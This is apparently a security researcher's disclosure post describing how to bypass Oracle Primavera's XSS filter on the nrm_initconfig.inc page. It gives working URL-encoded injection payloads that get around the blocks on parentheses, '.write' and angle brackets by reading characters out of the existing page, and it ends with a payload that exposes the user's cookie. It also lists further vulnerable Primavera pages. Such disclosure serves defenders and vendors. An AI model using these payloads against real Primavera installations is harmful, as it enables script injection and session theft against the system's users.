

# Bypassing the Oracle Primavera XSS Filter

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Oracle Primavera is a web based project management solution used in the construction, utilities, aerospace and defence industries. Primavera suffers from a great number of Cross Site Scripting flaws [1] and it seems that, rather than fixing these flaws, Oracle introduced an XSS filter instead to protect users against exploitation. The filter can be bypassed, however:

If we request

[http://example.com/p6/precomp/nrm/nrm\\_initconfig.inc?origpage=foo%27;%7Ddocument.write\(%27foo%27\);%7Bvar%20x=%27](http://example.com/p6/precomp/nrm/nrm_initconfig.inc?origpage=foo%27;%7Ddocument.write(%27foo%27);%7Bvar%20x=%27)

we get the following response:

```
"An invalid value was detected for 'origpage'. Click the browser's back button to return to the previous page."
```

This is due to the XSS filter; it rejects the request based upon 1) the parentheses and 2) `.write`. To bypass the filter we need to be able to write arbitrary HTML/script without using parentheses or `.write`. We can achieve this setting by `document.firstChild.innerHTML`:

[http://example.com/p6/precomp/nrm/nrm\\_initconfig.inc?origpage=foo%27;%7Ddocument.firstChild.innerHTML=%20%22Hello%22;%7Bvar%20x=%27](http://example.com/p6/precomp/nrm/nrm_initconfig.inc?origpage=foo%27;%7Ddocument.firstChild.innerHTML=%20%22Hello%22;%7Bvar%20x=%27)

This produces the following resultant page:

```
<title>Primavera - Resources</title>
```

```
<script language="javascript">
function doCancel()
{
location = 'foo';}document.firstChild.innerHTML="Hello";{var x='';
}
```

```
</script>
```

which results in the following web page:

Hello



We now need to write angle brackets, but angle brackets are disallowed by the filter. We can bypass this problem by reading from the extant page. We do this by creating a variable called "a" and set it to `document.firstChild.innerHTML`. We then read byte 0 (the less than angle bracket) and byte 5 (the greater than bracket) and assign these to a variable called `lt` and `gt`, respectively. We then use `lt` and `gt` to create an `<H1>` tag:

[http://example.com/p6/precomp/nrm/nrm\\_initconfig.inc?origpage=foo%27;%7Dvar%20a%20=%20document.firstChild.innerHTML;%20var%20lt%20=%20a\[0\];%20var%20gt%20=%20a\[5\];%20document.firstChild.innerHTML=%20lt%2b%22H1%22%2bgt%2b%22Hello%22;%7Bvar%20x=%27](http://example.com/p6/precomp/nrm/nrm_initconfig.inc?origpage=foo%27;%7Dvar%20a%20=%20document.firstChild.innerHTML;%20var%20lt%20=%20a[0];%20var%20gt%20=%20a[5];%20document.firstChild.innerHTML=%20lt%2b%22H1%22%2bgt%2b%22Hello%22;%7Bvar%20x=%27)

This results in the following HTML

```
<title>Primave  
ra -  
Resources</tit  
le>
```

```
<script language="javascript">  
  
function doCancel()  
  
{  
  
location = 'foo';}var a = document.firstChild.innerHTML;  
var lt = a[0]; var gt = a[5];  
document.firstChild.innerHTML= lt+"H1"+gt+"Hello";{var  
x='';
```

```
}  
</script>
```

which produces the following web page:

**Hello**



Rather than writing “<H1>Hello”, of course, the attacker would write out their XSS exploit. The following URL pops up the user’s cookie, for example:

[http://example.com/p6/precomp/nrm/nrm\\_initconfig.inc?origpage=foo:%27}var%20c%20=%20document.firstChild.innerHTML:%20var%20x=c\[0\]:%20var%20e=c\[59\];var%20y=c\[5\];var%20z=c\[91\];var%20n=c\[92\];var%20a=document;a.firstChild.innerHTML=%20x%2b%20"IMG%20S"%2b"RC=/x%20onerror"%2be%2b"ale"%2b"rt"%2bz%2b"a.co"%2b"okie"%2bn%2b%20y;{var%20x=%27](http://example.com/p6/precomp/nrm/nrm_initconfig.inc?origpage=foo:%27}var%20c%20=%20document.firstChild.innerHTML:%20var%20x=c[0]:%20var%20e=c[59];var%20y=c[5];var%20z=c[91];var%20n=c[92];var%20a=document;a.firstChild.innerHTML=%20x%2b%20)

Tested on both Chrome and Firefox.

[1] Some XSS flaws in Primavera  
S0712417 XSS IN rm\_usage\_view.jsp  
S0712396 XSS IN phoenix\_proj\_print.jsp  
S0712401 XSS IN pm\_gantt\_customize.jsp  
S0712377 XSS IN nrm\_initconfig.inc  
S0712365 XSS IN applet\_node\_remove.jsp